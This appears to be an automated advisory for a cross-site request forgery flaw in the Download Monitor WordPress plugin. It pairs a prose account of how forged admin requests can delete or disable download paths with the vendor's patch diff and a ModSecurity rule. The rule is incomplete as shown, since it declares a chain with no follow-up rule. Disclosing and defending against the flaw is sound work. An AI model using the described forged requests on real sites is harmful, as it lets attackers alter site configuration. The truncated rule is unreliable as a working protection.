Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 20, 2026

CVE-2026-4401: Download Monitor <= 5.1.10 – Cross-Site Request Forgery to Download Path Deletion and Disabling (download-monitor)

CVE ID CVE-2026-4401
Severity Medium (CVSS 5.4)
CWE 352
Vulnerable Version 5.1.10
Patched Version 5.1.11
Disclosed April 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4401:
The Download Monitor WordPress plugin contains a Cross-Site Request Forgery vulnerability in its download path management functionality. This vulnerability affects versions up to and including 5.1.10, allowing unauthenticated attackers to delete, disable, or enable approved download paths via forged requests. The CVSS score of 5.4 reflects a medium severity issue that requires social engineering to exploit.

The root cause lies in the missing nonce verification within the `actions_handler()` and `bulk_actions_handler()` methods in `/download-monitor/src/Admin/DownloadPaths/class-dlm-downloads-path.php`. Both methods perform administrative actions on download paths without validating CSRF tokens. The `actions_handler()` method processes individual actions like enable, disable, and delete via GET parameters, while `bulk_actions_handler()` handles bulk operations via POST requests. Neither method verified request authenticity before version 5.1.11.

Exploitation requires tricking an authenticated administrator into clicking a malicious link or visiting a crafted page. Attackers can construct URLs with specific GET parameters targeting the `/wp-admin/admin.php?page=download-monitor-settings` endpoint. The attack vector uses the `action` parameter with values like ‘delete’, ‘disable’, or ‘enable’ combined with the `url` parameter specifying the download path ID. For bulk operations, attackers can embed forms in malicious pages that submit POST requests with `bulk-action` and `approveddownloadpaths[]` parameters.

The patch introduces nonce verification through an enhanced `check_access()` method. The updated method now accepts a `$verify_request` parameter that determines which nonce to check. For individual actions, it verifies the `check` GET parameter against the ‘modify_approved_directories’ nonce. For bulk actions, it verifies the `_wpnonce` POST parameter against the ‘dlm_advanced_download_path-options’ nonce. The patch also restructures the `actions_handler()` method to perform access checks before processing any actions.

Successful exploitation allows attackers to manipulate download paths without administrator consent. Attackers can delete approved download paths, disrupting file availability for legitimate users. They can disable functional paths or enable previously disabled paths, potentially exposing sensitive files. While this vulnerability doesn’t directly lead to remote code execution, it enables unauthorized modification of critical plugin configuration that controls file access permissions.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/download-monitor/download-monitor.php
+++ b/download-monitor/download-monitor.php
@@ -3,7 +3,7 @@
 	Plugin Name: Download Monitor
 	Plugin URI: https://www.download-monitor.com
 	Description: A full solution for managing and selling downloadable files, monitoring downloads and outputting download links and file information on your WordPress powered site.
-	Version: 5.1.10
+	Version: 5.1.11
 	Author: WPChill
 	Author URI: https://wpchill.com
 	Requires at least: 6.4
@@ -34,7 +34,7 @@
 } // Exit if accessed directly

 // Define DLM Version
-define('DLM_VERSION', '5.1.10');
+define('DLM_VERSION', '5.1.11');
 define('DLM_UPGRADER_VERSION', '4.6.0');

 // Define DLM FILE
--- a/download-monitor/includes/admin/class-dlm-upsells.php
+++ b/download-monitor/includes/admin/class-dlm-upsells.php
@@ -25,8 +25,6 @@

 	private $upsell_tabs = array();

-	private $offer = array();
-
 	/**
 	 * Holds the active license status.
 	 *
@@ -82,8 +80,6 @@
 	}

 	public function upsells_init() {
-		$this->set_offer();
-
 		$this->set_hooks();

 		$this->set_tabs();
@@ -91,38 +87,6 @@
 		$this->set_upsell_actions();
 	}

-	private function set_offer() {
-		$this->offer = array(
-			'class'  => '',
-			'column' => '',
-			'label'  => __( 'Get Premium', 'download-monitor' ),
-		);
-
-		$timezone_string = get_option( 'timezone_string' );
-		$timezone        = $timezone_string ? new DateTimeZone( $timezone_string ) : new DateTimeZone( 'UTC' );
-
-		$now = new DateTime( 'now', $timezone );
-
-		$bf_start = new DateTime( '2025-11-03 00:00:00', $timezone );
-		$bf_end   = new DateTime( '2025-12-03 10:00:00', $timezone );
-
-		if ( $now >= $bf_start && $now <= $bf_end ) {
-			$this->offer = array(
-				'class'       => 'wpchill-bf-upsell',
-				'column'      => 'bf-upsell-columns',
-				'label'       => __( '65% OFF for Black Friday', 'download-monitor' ),
-				'description' => __( '65% OFF on new purchases, early renewals or upgrades.', 'download-monitor' ),
-			);
-		}
-		// if ( 12 == $month ) {
-		//  $this->offer = array(
-		//      'class'  => 'wpchill-xmas-upsell',
-		//      'column' => 'xmas-upsell-columns',
-		//      'label'  => __( '25% OFF for Christmas', 'download-monitor' ),
-		//  );
-		// }
-	}
-
 	/**
 	 * Set our hooks
 	 *
@@ -172,7 +136,7 @@
 	 */
 	public function generate_upsell_box( $title, $description, $tab, $extension, $features = array(), $utm_source = null, $icon = false ) {

-		echo '<div class="wpchill-upsell ' . esc_attr( $this->offer['class'] ) . '">';
+		echo '<div class="wpchill-upsell">';
 		if ( $icon ) {
 			echo '<img src="' . esc_url( DLM_URL . 'assets/images/upsells/' . $icon ) . '">';
 		}
@@ -204,9 +168,13 @@
 		}

 		echo '<a target="_blank" href="https://www.download-monitor.com/pricing/?utm_source=' . ( ! empty( $extension ) ? esc_html( $extension ) . '_metabox' : '' ) . '&utm_medium=lite-vs-pro&utm_campaign=' . ( ! empty( $extension ) ? esc_html( str_replace( ' ', '_', $extension ) ) : '' ) . '"><div class="dlm-available-with-pro"><span class="dashicons dashicons-lock"></span><span>' . esc_html__( 'AVAILABLE WITH PREMIUM', 'download-monitor' ) . '</span></div></a>';
+		$buttons  = '<a target="_blank" href="https://download-monitor.com/free-vs-pro/?utm_source=dlm-lite&utm_medium=link&utm_campaign=upsell&utm_term=lite-vs-pro" class="button">' . esc_html__( 'Free vs Premium', 'download-monitor' ) . '</a>';
+		$buttons .= '<a target="_blank" href="https://www.download-monitor.com/pricing/?utm_source=' . ( ! empty( $extension ) ? esc_html( $extension ) . '_metabox' : '' ) . '&utm_medium=lite-vs-pro&utm_campaign=' . ( ! empty( $extension ) ? esc_html( str_replace( ' ', '_', $extension ) ) : '' ) . '" class="button-primary button">' . esc_html__( 'Get Premium', 'download-monitor' ) . '</a>';
+
+		$buttons = apply_filters( 'dlm_upsell_buttons', $buttons, $extension );
+
 		echo '<div class="wpchill-upsell-buttons-wrap">';
-		echo '<a target="_blank" href="https://download-monitor.com/free-vs-pro/?utm_source=dlm-lite&utm_medium=link&utm_campaign=upsell&utm_term=lite-vs-pro" class="button">' . esc_html__( 'Free vs Premium', 'download-monitor' ) . '</a> ';
-		echo '<a target="_blank" href="https://www.download-monitor.com/pricing/?utm_source=' . ( ! empty( $extension ) ? esc_html( $extension ) . '_metabox' : '' ) . '&utm_medium=lite-vs-pro&utm_campaign=' . ( ! empty( $extension ) ? esc_html( str_replace( ' ', '_', $extension ) ) : '' ) . '" class="button-primary button">' . esc_html( $this->offer['label'] ) . '</a>';
+		echo $buttons; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Filtered HTML, escaped in the default output above.
 		echo '</div>';
 		echo '</div>';
 	}
@@ -788,7 +756,7 @@
 	 * @since 4.4.5
 	 */
 	public function output_external_hosting_upsell() {
-		echo '<div class="upsells-columns ' . esc_attr( $this->offer['column'] ) . '">';
+		echo '<div class="upsells-columns">';

 		if ( ! $this->check_extension( 'dlm-amazon-s3' ) ) {
 			echo '<div class="upsells-column"><span class="dashicons dashicons-amazon"></span>';
--- a/download-monitor/includes/admin/wpchill/class-wpchill-upsells.php
+++ b/download-monitor/includes/admin/wpchill/class-wpchill-upsells.php
@@ -0,0 +1,473 @@
+<?php
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+if ( ! class_exists( 'WPChill_Remote_Upsells' ) ) {
+	/**
+	 * Class WPChill_Remote_Upsells
+	 *
+	 * Handles remote upsell promotions fetched from external REST API.
+	 * Checks daily via WP Cron if promotions are still valid.
+	 *
+	 */
+	class WPChill_Remote_Upsells {
+
+		/**
+		 * Singleton instance
+		 *
+		 * @var WPChill_Remote_Upsells
+		 */
+		private static $instance;
+
+		/**
+		 * Hook name for the cron event
+		 *
+		 * @var string
+		 */
+		private $cron_hook = 'wpchill_upsells_check';
+
+		/**
+		 * Option name for storing upsell data
+		 *
+		 * @var string
+		 */
+		private $option_name = 'wpchill_upsells_data';
+
+		/**
+		 * Transient name for caching API requests
+		 *
+		 * @var string
+		 */
+		private $cache_transient = 'wpchill_upsells_cache';
+
+		/**
+		 * Remote API URL
+		 *
+		 * @var string
+		 */
+		private $api_url = '';
+
+		/**
+		 * Current active promotions data (array of promotions)
+		 *
+		 * @var array
+		 */
+		private $active_promotions = array();
+
+		/**
+		 * Constructor
+		 *
+		 * @param array $args Optional arguments (api_url).
+		 */
+		public function __construct( $args = array() ) {
+			// Set API URL from arguments
+			if ( ! empty( $args['api_url'] ) ) {
+				$this->api_url = $args['api_url'];
+			}
+
+			// Schedule daily cron if not already scheduled
+			if ( ! wp_next_scheduled( $this->cron_hook ) ) {
+				wp_schedule_event( time(), 'daily', $this->cron_hook );
+			}
+
+			// Hook the cron action
+			add_action( $this->cron_hook, array( $this, 'fetch_remote_upsells' ) );
+
+			// Load and apply active promotions
+			$this->load_active_promotions();
+
+			// Register activation and deactivation hooks
+			$plugin_slug    = explode( '/', plugin_basename( __FILE__ ) )[0];
+			$active_plugins = (array) get_option( 'active_plugins', array() );
+			foreach ( $active_plugins as $active_plugin ) {
+				if ( 0 === strpos( $active_plugin, $plugin_slug . '/' ) ) {
+					$plugin_file = WP_PLUGIN_DIR . '/' . $active_plugin;
+					register_activation_hook( $plugin_file, array( $this, 'activate' ) );
+					register_deactivation_hook( $plugin_file, array( $this, 'deactivate' ) );
+					break;
+				}
+			}
+		}
+
+		/**
+		 * Get singleton instance
+		 *
+		 * @param array $args Optional arguments (api_url).
+		 * @return WPChill_Remote_Upsells
+		 */
+		public static function get_instance( $args = array() ) {
+			if ( ! isset( self::$instance ) || ! ( self::$instance instanceof WPChill_Remote_Upsells ) ) {
+				self::$instance = new WPChill_Remote_Upsells( $args );
+			}
+
+			return self::$instance;
+		}
+
+		/**
+		 * Load active promotions from options and apply filters for each valid one
+		 */
+		private function load_active_promotions() {
+			$data = get_option( $this->option_name, array() );
+
+			if ( empty( $data ) || ! is_array( $data ) ) {
+				return;
+			}
+
+			$has_css = false;
+
+			foreach ( $data as $key => $promotion ) {
+				// Skip invalid promotions
+				if ( ! $this->validate_single_promotion( $promotion ) ) {
+					continue;
+				}
+
+				// Skip expired promotions
+				if ( ! $this->is_promotion_valid( $promotion ) ) {
+					continue;
+				}
+
+				// Store active promotion
+				$filter_hook = sanitize_text_field( $promotion['filter'] );
+				$this->active_promotions[ $filter_hook ] = $promotion;
+
+				// Apply the upsell button filter for this promotion
+				add_filter( $filter_hook, array( $this, 'override_upsell_buttons' ), 15, 2 );
+
+				// Check if any promotion has CSS
+				if ( ! empty( $promotion['css'] ) ) {
+					$has_css = true;
+				}
+			}
+
+			// Add CSS output only once if any promotion has CSS
+			if ( $has_css ) {
+				add_action( 'admin_print_styles', array( $this, 'output_promotion_styles' ), 999 );
+			}
+		}
+
+		/**
+		 * Check if promotion is still valid based on start/end dates
+		 *
+		 * @param array $data Promotion data.
+		 * @return bool
+		 */
+		private function is_promotion_valid( $data ) {
+			if ( empty( $data ) || ! is_array( $data ) ) {
+				return false;
+			}
+
+			$now = time();
+
+			// Check start date if provided
+			if ( ! empty( $data['start_date'] ) ) {
+				$start = strtotime( $data['start_date'] );
+				if ( $now < $start ) {
+					return false;
+				}
+			}
+
+			// Check end date if provided
+			if ( ! empty( $data['end_date'] ) ) {
+				$end = strtotime( $data['end_date'] );
+				if ( $now > $end ) {
+					return false;
+				}
+			}
+
+			// Check active flag if provided
+			if ( isset( $data['active'] ) && ! $data['active'] ) {
+				return false;
+			}
+
+			return true;
+		}
+
+		/**
+		 * Fetch upsell data from remote API
+		 */
+		public function fetch_remote_upsells() {
+			// Return cached data if available
+			$cached = get_transient( $this->cache_transient );
+			if ( false !== $cached ) {
+				return $cached;
+			}
+
+			$api_url = apply_filters( 'wpchill_upsells_api_url', $this->api_url );
+
+			if ( empty( $api_url ) ) {
+				return array();
+			}
+
+			$response = wp_remote_get(
+				$api_url,
+				array(
+					'timeout' => 15,
+				)
+			);
+
+			if ( is_wp_error( $response ) ) {
+				return array();
+			}
+
+			$status_code = wp_remote_retrieve_response_code( $response );
+			if ( 200 !== $status_code ) {
+				return array();
+			}
+
+			$body = wp_remote_retrieve_body( $response );
+			$data = json_decode( $body, true );
+
+			if ( json_last_error() !== JSON_ERROR_NONE ) {
+				return array();
+			}
+
+			// Validate - must be an array of promotions
+			if ( ! $this->validate_promotions_data( $data ) ) {
+				$this->clear_promotions();
+				return array();
+			}
+
+			// Store the promotions data
+			update_option( $this->option_name, $data );
+			set_transient( $this->cache_transient, $data, DAY_IN_SECONDS );
+
+			return $data;
+		}
+
+		/**
+		 * Validate promotions data structure (array of promotions)
+		 *
+		 * Expected structure:
+		 * [
+		 *   {
+		 *     "active": true,
+		 *     "start_date": "2024-11-25",
+		 *     "end_date": "2024-12-02",
+		 *     "filter": "modula_upsell_buttons",
+		 *     "buttons": [...],
+		 *     "css": "..."
+		 *   },
+		 *   {
+		 *     "active": true,
+		 *     "start_date": "2024-11-25",
+		 *     "end_date": "2024-12-02",
+		 *     "filter": "dlm_upsell_buttons",
+		 *     "buttons": [...],
+		 *     "css": "..."
+		 *   }
+		 * ]
+		 *
+		 * @param array $data Promotions data.
+		 * @return bool
+		 */
+		private function validate_promotions_data( $data ) {
+			if ( empty( $data ) || ! is_array( $data ) ) {
+				return false;
+			}
+
+			// Check if it's an array of promotions (not a single promotion)
+			// If first key is numeric, it's an array of promotions
+			if ( ! isset( $data[0] ) ) {
+				return false;
+			}
+
+			// Validate at least one promotion
+			foreach ( $data as $promotion ) {
+				if ( $this->validate_single_promotion( $promotion ) ) {
+					return true;
+				}
+			}
+
+			return false;
+		}
+
+		/**
+		 * Validate a single promotion data structure
+		 *
+		 * @param array $promotion Single promotion data.
+		 * @return bool
+		 */
+		private function validate_single_promotion( $promotion ) {
+			if ( empty( $promotion ) || ! is_array( $promotion ) ) {
+				return false;
+			}
+
+			// We need filter and buttons data
+			if ( empty( $promotion['filter'] ) ) {
+				return false;
+			}
+
+			if ( empty( $promotion['buttons'] ) || ! is_array( $promotion['buttons'] ) ) {
+				return false;
+			}
+
+			return true;
+		}
+
+		/**
+		 * Override upsell buttons with promotion data
+		 *
+		 * @param string $buttons Original buttons HTML.
+		 * @param string $context The upsell context/location.
+		 * @return string Modified buttons HTML.
+		 */
+		public function override_upsell_buttons( $buttons, $context = '' ) {
+			// Get current filter being executed
+			$current_filter = current_filter();
+
+			// Find the promotion for this filter
+			if ( ! isset( $this->active_promotions[ $current_filter ] ) ) {
+				return $buttons;
+			}
+
+			$promotion = $this->active_promotions[ $current_filter ];
+
+			if ( empty( $promotion['buttons'] ) ) {
+				return $buttons;
+			}
+
+			// Extract original URLs from the buttons
+			preg_match_all( '~<a(.*?)href="([^"]+)"(.*?)>~', $buttons, $matches );
+			$original_urls = isset( $matches[2] ) ? $matches[2] : array();
+
+			$new_buttons  = '';
+			$button_index = 0;
+
+			foreach ( $promotion['buttons'] as $button ) {
+				if ( empty( $button['text'] ) ) {
+					continue;
+				}
+
+				// Determine the URL
+				$url = '';
+				if ( isset( $button['url'] ) ) {
+					if ( 'use_original' === $button['url'] && isset( $original_urls[ $button_index ] ) ) {
+						$url = $original_urls[ $button_index ];
+					} else {
+						$url = $button['url'];
+					}
+				} elseif ( isset( $original_urls[ $button_index ] ) ) {
+					$url = $original_urls[ $button_index ];
+				}
+
+				// Build button attributes
+				$target = isset( $button['target'] ) ? $button['target'] : '_blank';
+				$class  = isset( $button['class'] ) ? $button['class'] : 'button';
+				$style  = isset( $button['style'] ) ? ' style="' . esc_attr( $button['style'] ) . '"' : '';
+
+				$new_buttons .= sprintf(
+					'<a target="%s" href="%s" class="%s"%s>%s</a>',
+					esc_attr( $target ),
+					esc_url( $url ),
+					esc_attr( $class ),
+					$style,
+					esc_html( $button['text'] )
+				);
+
+				++$button_index;
+			}
+
+			return $new_buttons;
+		}
+
+		/**
+		 * Output promotion CSS styles from all active promotions
+		 */
+		public function output_promotion_styles() {
+			if ( empty( $this->active_promotions ) ) {
+				return;
+			}
+
+			$css = '';
+
+			foreach ( $this->active_promotions as $promotion ) {
+				if ( ! empty( $promotion['css'] ) ) {
+					$css .= $promotion['css'] . "n";
+				}
+			}
+
+			if ( ! empty( $css ) ) {
+				echo '<style>' . wp_strip_all_tags( $css ) . '</style>';
+			}
+		}
+
+		/**
+		 * Clear stored promotions data
+		 */
+		public function clear_promotions() {
+			delete_option( $this->option_name );
+			delete_transient( $this->cache_transient );
+			$this->active_promotions = array();
+		}
+
+		/**
+		 * Get current active promotions data
+		 *
+		 * @return array
+		 */
+		public function get_active_promotions() {
+			return $this->active_promotions;
+		}
+
+		/**
+		 * Get promotion for a specific filter
+		 *
+		 * @param string $filter Filter hook name.
+		 * @return array|false
+		 */
+		public function get_promotion_for_filter( $filter ) {
+			return isset( $this->active_promotions[ $filter ] ) ? $this->active_promotions[ $filter ] : false;
+		}
+
+		/**
+		 * Check if there are any active promotions
+		 *
+		 * @return bool
+		 */
+		public function has_active_promotions() {
+			return ! empty( $this->active_promotions );
+		}
+
+		/**
+		 * Manually set API URL
+		 *
+		 * @param string $url API URL.
+		 */
+		public function set_api_url( $url ) {
+			$this->api_url = $url;
+		}
+
+		/**
+		 * Run initial promotions check on plugin activation
+		 */
+		public function activate() {
+			$this->fetch_remote_upsells();
+		}
+
+		/**
+		 * Clean up on plugin deactivation
+		 */
+		public function deactivate() {
+			wp_clear_scheduled_hook( $this->cron_hook );
+		}
+
+		/**
+		 * Get transients to be cleared on uninstall
+		 *
+		 * @param array $transients Existing transients array.
+		 * @return array
+		 */
+		public function get_transients_to_clear( $transients ) {
+			$transients[] = $this->cache_transient;
+			return $transients;
+		}
+	}
+	// Initiate WPChill Upsells (remote promotions)
+	WPChill_Remote_Upsells::get_instance(
+		array(
+			'api_url' => 'https://wp-modula.com/wp-json/upsells/v1/get',
+		)
+	);
+}
--- a/download-monitor/includes/bootstrap.php
+++ b/download-monitor/includes/bootstrap.php
@@ -33,6 +33,9 @@
 // load the wpchill notifications.
 require_once dirname( DLM_PLUGIN_FILE ) . '/includes/admin/wpchill/class-wpchill-notifications.php';

+// load the wpchill upsells system.
+require_once dirname( DLM_PLUGIN_FILE ) . '/includes/admin/wpchill/class-wpchill-upsells.php';
+
 // include installer functions.
 require_once 'installer-functions.php';

--- a/download-monitor/src/Admin/DownloadPaths/class-dlm-downloads-path.php
+++ b/download-monitor/src/Admin/DownloadPaths/class-dlm-downloads-path.php
@@ -417,73 +417,69 @@
 			return;
 		}

-		// Check if the user has permission to update the path.
-		if ( ! $this->check_access() ) {
+		$change = false;
+		if ( ! isset( $_GET['page'] ) || 'download-monitor-settings' !== $_GET['page'] ) {
 			return;
 		}

-		$change = false;
-		$check  = false;
-		// phpcs:disable WordPress.Security.NonceVerification.Recommended
-		// The check is different for multisite, as the page is different.
-		$check = isset( $_GET['page'] ) && 'download-monitor-settings' === $_GET['page'];
-		if ( $check ) {
-			$paths = DLM_Downloads_Path_Helper::get_all_paths();
-			if ( ! empty( $_GET['action'] ) ) {
-				$action = sanitize_text_field( wp_unslash( $_GET['action'] ) );
-				switch ( $action ) {
-					case 'enable':
-						foreach ( $paths as $key => $path ) {
-							if ( absint( $path['id'] ) === absint( $_GET['url'] ) ) {
-								$paths[ $key ]['enabled'] = true;
-								$change                   = true;
-								break;
-							}
-						}
-						break;
-					case 'disable':
-						foreach ( $paths as $key => $path ) {
-							if ( absint( $path['id'] ) === absint( $_GET['url'] ) ) {
-								$paths[ $key ]['enabled'] = false;
-								$change                   = true;
-								break;
-							}
-						}
-						break;
-					case 'delete':
-						foreach ( $paths as $key => $path ) {
-							if ( absint( $path['id'] ) === absint( $_GET['url'] ) ) {
-								unset( $paths[ $key ] );
-								$change = true;
-								break;
-							}
-						}
-						break;
-					case 'enable-all':
-						foreach ( $paths as $key => $path ) {
+		if ( ! $this->check_access( 'path_get_action' ) ) {
+			return;
+		}
+
+		$paths = DLM_Downloads_Path_Helper::get_all_paths();
+		if ( ! empty( $_GET['action'] ) ) {
+			$action = sanitize_text_field( wp_unslash( $_GET['action'] ) );
+			switch ( $action ) {
+				case 'enable':
+					foreach ( $paths as $key => $path ) {
+						if ( absint( $path['id'] ) === absint( $_GET['url'] ) ) {
 							$paths[ $key ]['enabled'] = true;
 							$change                   = true;
+							break;
 						}
-						break;
-					case 'disable-all':
-						foreach ( $paths as $key => $path ) {
+					}
+					break;
+				case 'disable':
+					foreach ( $paths as $key => $path ) {
+						if ( absint( $path['id'] ) === absint( $_GET['url'] ) ) {
 							$paths[ $key ]['enabled'] = false;
 							$change                   = true;
+							break;
 						}
-						break;
-					default:
-						$paths  = apply_filters( 'dlm_download_paths_action_' . $action, $paths );
-						$change = apply_filters( 'dlm_download_paths_change_' . $action, false, $paths );
-						break;
-				}
+					}
+					break;
+				case 'delete':
+					foreach ( $paths as $key => $path ) {
+						if ( absint( $path['id'] ) === absint( $_GET['url'] ) ) {
+							unset( $paths[ $key ] );
+							$change = true;
+							break;
+						}
+					}
+					break;
+				case 'enable-all':
+					foreach ( $paths as $key => $path ) {
+						$paths[ $key ]['enabled'] = true;
+						$change                   = true;
+					}
+					break;
+				case 'disable-all':
+					foreach ( $paths as $key => $path ) {
+						$paths[ $key ]['enabled'] = false;
+						$change                   = true;
+					}
+					break;
+				default:
+					$paths  = apply_filters( 'dlm_download_paths_action_' . $action, $paths );
+					$change = apply_filters( 'dlm_download_paths_change_' . $action, false, $paths );
+					break;
 			}
-			// phpcs:enable
+		}

-			if ( $change ) {
-				DLM_Downloads_Path_Helper::save_paths( $paths );
-				wp_safe_redirect( DLM_Downloads_Path_Helper::get_base_url() );
-				exit;
-			}
+		if ( $change ) {
+			DLM_Downloads_Path_Helper::save_paths( $paths );
+			wp_safe_redirect( DLM_Downloads_Path_Helper::get_base_url() );
+			exit;
 		}
 	}

@@ -493,12 +489,11 @@
 	 * @since 5.0.0
 	 */
 	public function bulk_actions_handler() {
-		// Check if the user has permission to update the path.
-		if ( ! $this->check_access() ) {
-			return;
-		}
-		// Check for the bulk action.
-		if ( ( ! empty( $_POST['bulk-action'] ) || ! empty( $_POST['bulk-action2'] ) ) && isset( $_POST['approveddownloadpaths'] ) ) {// phpcs:disable WordPress.Security.NonceVerification.Recommended
+		// Check for the bulk action; capability + nonce (from settings_fields( 'dlm_advanced_download_path' )) via check_access.
+		if ( ( ! empty( $_POST['bulk-action'] ) || ! empty( $_POST['bulk-action2'] ) ) && isset( $_POST['approveddownloadpaths'] ) ) {
+			if ( ! $this->check_access( 'path_bulk' ) ) {
+				return;
+			}
 			$changes = false;
 			$paths   = DLM_Downloads_Path_Helper::get_all_paths();
 			// Get the action. It's one or the other, so we can just check one.
@@ -544,7 +539,6 @@
 						break;
 				}
 			}
-			// phpcs:enable
 			if ( $changes ) {
 				DLM_Downloads_Path_Helper::save_paths( $paths );
 			}
@@ -618,19 +612,37 @@

 	/**
 	 * Check if current user has access to the download paths.
-	 *
 	 * @return bool
 	 * @since 5.0.10
 	 */
-	private function check_access() {
+	private function check_access( $verify_request = null ) {
 		// Load the load.php file to get the is_multisite() function.
 		require_once ABSPATH . 'wp-includes/load.php';
 		// Check if it's a multisite installation.
 		if ( ! is_multisite() ) {
-			// Check if the user has the manage_options capability.
-			return current_user_can( 'manage_options' );
+			$can = current_user_can( 'manage_options' );
+		} else {
+			$can = current_user_can( 'manage_network' );
+		}
+
+		if ( ! $can ) {
+			return false;
 		}
-		// Check if the user has the manage_network capability.
-		return current_user_can( 'manage_network' );
+
+		if ( null === $verify_request ) {
+			return true;
+		}
+
+		if ( 'path_get_action' === $verify_request ) {
+			return isset( $_GET['check'] )
+				&& wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['check'] ) ), 'modify_approved_directories' );
+		}
+
+		if ( 'path_bulk' === $verify_request ) {
+			return isset( $_POST['_wpnonce'] )
+				&& wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce'] ) ), 'dlm_advanced_download_path-options' );
+		}
+
+		return false;
 	}
 }
--- a/download-monitor/src/Admin/WritePanels.php
+++ b/download-monitor/src/Admin/WritePanels.php
@@ -633,7 +633,7 @@
 				// sanatize post data
 				$file_id             = absint( $downloadable_file_id[ $i ] );
 				$file_menu_order     = absint( $downloadable_file_menu_order[ $i ] );
-				$file_version        = strtolower( sanitize_text_field( $downloadable_file_version[ $i ] ) );
+				$file_version        = ( sanitize_text_field( $downloadable_file_version[ $i ] ) );
 				$file_date_hour      = ( ! empty( $downloadable_file_date_hour[ $i ] ) ) ? absint( $downloadable_file_date_hour[ $i ] ) : 0;
 				$file_date_minute    = ! empty( $downloadable_file_date_minute[ $i ] ) ? absint( $downloadable_file_date_minute[ $i ] ) : 0;
 				$file_date           = ! empty( $downloadable_file_date[ $i ] ) ? sanitize_text_field( $downloadable_file_date[ $i ] ) : new DateTime();
--- a/download-monitor/src/Download/Download.php
+++ b/download-monitor/src/Download/Download.php
@@ -504,7 +504,10 @@
 		}

 		if ( $current_lang && $default_lang && $current_lang !== $default_lang ) {
-			return untrailingslashit( $url ) . '/' . $current_lang . '/';
+			$lang_segment = '/' . $current_lang . '/';
+			if ( strpos( $url, $lang_segment ) === false ) {
+				return untrailingslashit( $url ) . $lang_segment;
+			}
 		}

 		return $url;
--- a/download-monitor/src/Logs/LogItem.php
+++ b/download-monitor/src/Logs/LogItem.php
@@ -126,10 +126,12 @@
 	public function set_current_url( $current_url ) {

 		if ( get_option( 'permalink_structure' ) ) {
-			$query_url = wp_parse_url( $current_url );
-			$current_url = wp_parse_url( $current_url )['path'] . ( isset( $query_url['query'] ) ? '?' . $query_url['query'] : '' );
+			$query_url   = wp_parse_url( $current_url );
+			$path        = isset( $query_url['path'] ) ? $query_url['path'] : '/';
+			$current_url = $path . ( isset( $query_url['query'] ) ? '?' . $query_url['query'] : '' );
 		} else {
-			$current_url = '/' . wp_parse_url( $current_url )['query'];
+			$query_url   = wp_parse_url( $current_url );
+			$current_url = '/' . ( isset( $query_url['query'] ) ? $query_url['query'] : '' );
 		}

 		$this->current_url = $current_url;
--- a/download-monitor/src/Logs/Logging.php
+++ b/download-monitor/src/Logs/Logging.php
@@ -159,8 +159,18 @@
 		$cookie      = 'true' === $_POST['cookie'];
 		$current_url = ( isset( $_POST['currentURL'] ) ) ? esc_url_raw( $_POST['currentURL'] ) : '-';
 		// Set our objects
-		$download = download_monitor()->service( 'download_repository' )->retrieve_single( $download_id );
-		$version  = download_monitor()->service( 'version_repository' )->retrieve_single( $version_id );
+		try {
+			$download = download_monitor()->service( 'download_repository' )->retrieve_single( $download_id );
+		} catch ( Exception $e ) {
+			die();
+		}
+
+		try {
+			$version = download_monitor()->service( 'version_repository' )->retrieve_single( $version_id );
+		} catch ( Exception $e ) {
+			die();
+		}
+
 		$download->set_version( $version );
 		// Truly log the corresponding status
 		$this->log( $download, $version, $status, $cookie, $current_url );
--- a/download-monitor/vendor/composer/autoload_classmap.php
+++ b/download-monitor/vendor/composer/autoload_classmap.php
@@ -290,6 +290,7 @@
     'WPChill\DownloadMonitor\Util\PageCreator' => $baseDir . '/src/Util/PageCreator.php',
     'WPChill_About_Us' => $baseDir . '/includes/admin/wpchill/class-wpchill-about-us.php',
     'WPChill_Notifications' => $baseDir . '/includes/admin/wpchill/class-wpchill-notifications.php',
+    'WPChill_Remote_Upsells' => $baseDir . '/includes/admin/wpchill/class-wpchill-upsells.php',
     'WPChill_Rest_Api' => $baseDir . '/includes/admin/wpchill/class-wpchill-rest-api.php',
     'WPChill_Welcome' => $baseDir . '/includes/submodules/banner/class-wpchill-welcome.php',
     'WP_DLM' => $baseDir . '/src/DLM.php',
--- a/download-monitor/vendor/composer/autoload_static.php
+++ b/download-monitor/vendor/composer/autoload_static.php
@@ -305,6 +305,7 @@
         'WPChill\DownloadMonitor\Util\PageCreator' => __DIR__ . '/../..' . '/src/Util/PageCreator.php',
         'WPChill_About_Us' => __DIR__ . '/../..' . '/includes/admin/wpchill/class-wpchill-about-us.php',
         'WPChill_Notifications' => __DIR__ . '/../..' . '/includes/admin/wpchill/class-wpchill-notifications.php',
+        'WPChill_Remote_Upsells' => __DIR__ . '/../..' . '/includes/admin/wpchill/class-wpchill-upsells.php',
         'WPChill_Rest_Api' => __DIR__ . '/../..' . '/includes/admin/wpchill/class-wpchill-rest-api.php',
         'WPChill_Welcome' => __DIR__ . '/../..' . '/includes/submodules/banner/class-wpchill-welcome.php',
         'WP_DLM' => __DIR__ . '/../..' . '/src/DLM.php',
--- a/download-monitor/vendor/composer/installed.php
+++ b/download-monitor/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'wpchill/download-monitor',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '999ec88570436d41fbdaeb5712d43ee23004ccd0',
+        'reference' => 'a479ba9ba004a78e527ec6448d10314bbe535b48',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'wpchill/download-monitor' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '999ec88570436d41fbdaeb5712d43ee23004ccd0',
+            'reference' => 'a479ba9ba004a78e527ec6448d10314bbe535b48',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@rx ^/wp-admin/admin.php$" 
  "id:20264401,phase:2,deny,status:403,chain,msg:'CVE-2026-4401 CSRF attempt on Download Monitor download paths',severity:'CRITICAL',tag:'CVE-2026-4401',tag:'WordPress',tag:'Download-Monitor',tag:'CSRF'"
